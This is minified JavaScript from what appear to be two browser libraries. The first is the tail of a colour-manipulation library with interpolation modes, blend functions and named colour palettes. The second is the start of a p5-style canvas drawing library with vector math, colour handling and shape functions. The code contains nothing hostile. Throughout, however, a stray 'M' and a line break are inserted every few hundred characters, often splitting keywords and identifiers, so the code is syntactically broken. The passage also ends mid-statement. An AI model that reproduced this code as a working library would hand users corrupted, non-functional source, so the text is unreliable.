&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
